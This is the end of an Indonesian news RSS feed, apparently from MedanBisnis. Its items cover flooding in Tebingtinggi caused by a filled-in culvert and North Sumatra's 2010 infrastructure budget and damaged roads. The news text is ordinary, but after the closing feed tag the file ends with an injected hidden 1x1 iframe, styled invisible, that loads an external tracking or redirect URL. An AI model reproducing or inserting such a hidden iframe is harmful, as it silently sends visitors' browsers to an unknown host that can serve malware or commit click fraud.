Sementara itu, anggota DPRD Tebingtinggi Ir Pahala Sitorus yang juga turun ke lokasi banjir menyayangkan kinerja Dinas PU setempat yang tidak profesional. Sehingga menimbulkan masalah dan kerugian bagi warga. Gorong-gorong tersebut sebaiknya cukup ditutup pakai plat besi menunggu dilakukan perbaikan secara permanen.<br />
”Sangat ironis, Dinas PU menyelesaikan masalah dengan menimbulkan masalah baru. Gorong-gorong yang ambruk langsung ditimbun guna mengatasi masalah lalu lintas namun dibalik itu, masalah baru muncul yakni rumah warga harus digenangi banjir karena air tidak dapat mengalir dari gorong-gorong yang ditimbun,” jelas Pahala Sitorus.<br />
Sebelumnya, warga di lingkungan tersebut terpaksa menanam pohon pisang di gorong-gorong yang ambruk di Jalan Setia Budi Kelurahan Brohol Kecamatan Bajenis sebagai bentuk kekecewaan warga karena gorong-gorong yang dikerjakan tahun 2008 itu sudah 2 pekan ambruk, namun tak kunjung diperbaiki dinas terkait.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/gorong-gorong-ditutuprumah-warga-brohol-terendam-banjir/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2010, Pempropsu Anggarkan Rp 869 M untuk Infrastruktur39% Jalan Rusak</title>
		<link>http://www.medanbisnisonline.com/2009/12/31/2010-pempropsu-anggarkan-rp-869-m-untuk-infrastruktur39-jalan-rusak/</link>
		<comments>http://www.medanbisnisonline.com/2009/12/31/2010-pempropsu-anggarkan-rp-869-m-untuk-infrastruktur39-jalan-rusak/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 23:19:36 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Daerah]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197385</guid>
		<description><![CDATA[*ramita harja
MedanBisnis – Medan
Untuk mendukung pertumbuhan ekonomi pada 2010, Pemerintah Propinsi Sumatera Utara (Pempropsu) menganggarkan Rp 869 miliar untuk memperbaiki infrastruktur yang rusak, termasuk jalan dan irigasi. Tapi jumlah tersebut masih dirasa kurang, soalnya 39% kondisi jalan di Sumut rusak.
&#8220;Kita memerlukan dana lebih dari Rp 1 triliun untuk memperbaiki infrastruktur. Untuk itu, kita harus melobi [...]]]></description>
			<content:encoded><![CDATA[<p><em>*ramita harja</em><br />
<strong>MedanBisnis </strong>– Medan<br />
Untuk mendukung pertumbuhan ekonomi pada 2010, Pemerintah Propinsi Sumatera Utara (Pempropsu) menganggarkan Rp 869 miliar untuk memperbaiki infrastruktur yang rusak, termasuk jalan dan irigasi. Tapi jumlah tersebut masih dirasa kurang, soalnya 39% kondisi jalan di Sumut rusak.<br />
&#8220;Kita memerlukan dana lebih dari Rp 1 triliun untuk memperbaiki infrastruktur. Untuk itu, kita harus melobi pemerintah pusat dalam hal penambahan dana,&#8221; kata Sekretaris Daerah (Sekda) Propinsi Sumut, RE Nainggolan pada dialog interaktif Review dan Outlook Pertumbuhan Ekonomi Sumut di Gedung TVRI Medan, Rabu (30/12).<br />
Dalam dialog tersebut hadir sebagai pembicara Gubernur Sumut Syamsul Arifin, Wakil Gubernur Sumut Gatot Pujo Nugroho, Sekda Propsu RE Nainggolan, dan Pengamat Ekonomi dari Universitas Sumatera Utara (USU) John Tafbu Ritonga. Selain itu dialog tersebut dihadiri berbagai kepala SKPD, pengusaha, dan lainnya.<br />
RE Nainggolan melanjutkan selain sektor pendidikan yang paling penting, perbaikan infrastruktur juga terpenting setelah itu. Perbaikan infrastruktur akan dibagi menjadi perbaikan jalan, irigasi, dan pertambangan yang dianggarkan sebesar Rp 869 miliar tahun depan.<br />
Ia menyebutkan untuk perbaikan jalan Pemprop Sumut menganggarkan sebesar Rp492 miliar. Anggaran tersebut tidak bisa untuk memperbaiki kondisi jalan yang rusak. Ia mengatakan tercatat 39% kondisi jalan rusak di Sumut dari total 2.572 kilometer. Belum lagi soal irigasi yang kondisinya 34% juga mengalami kerusakan.<br />
Hal lain yang juga sedang dilobi Pemprov Sumut yakni melobi pemerintah pusat terkait anggaran yang dibutuhkan untuk Bandara Kualanamu. Pasalnya, bandara yang diprediksi akan selesai pada Juni 2011 itu akan menghabiskan biaya sebesar Rp 5,4 triliun. Jika bandara tersebut rampung sesuai yang dijadwalkan maka akan mempercepat pertumbuhan ekonomi di Sumut. Anggaran sebesar Rp 5,4 triliun itu, lanjutnya, terdiri dari Rp 4,3 triliun untuk membangun jalan udara dan Rp 1,1 triliun untuk membangun jalan darat.<br />
Kepala Badan Perencanaan Pembangunan Daerah (Bappeda) Sumut, Riadil Akhir Lubis menyebutkan perbaikan infrastruktur bukan hanya ditujukan perbaikan jalan saja. Di sela-sela dialog ia mengatakan Rp492 miliar dianggarkan untuk bina marga, Rp134,8 miliar untuk sumber daya air, Rp97 miliar untuk penataan ruang, Rp105,3 miliar diberikan kepada kabupaten/kota untuk perbaikan infrastruktur, dan Rp 6,6 miliar untuk perhubungan.<br />
Menurutnya selain lobi-lobi yang dilakukan, Pemprop Sumut juga akan mengoptimalkan CSR untuk mendapat pemasukan. &#8220;Seperti yang dikatakan pak Gubsu dan Sekda tadi, kita akan melobi pemerintah pusat agar mendapat penambahan dana,&#8221; ujarnya.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2009/12/31/2010-pempropsu-anggarkan-rp-869-m-untuk-infrastruktur39-jalan-rusak/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://asfirey.net/?click=6F63A" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>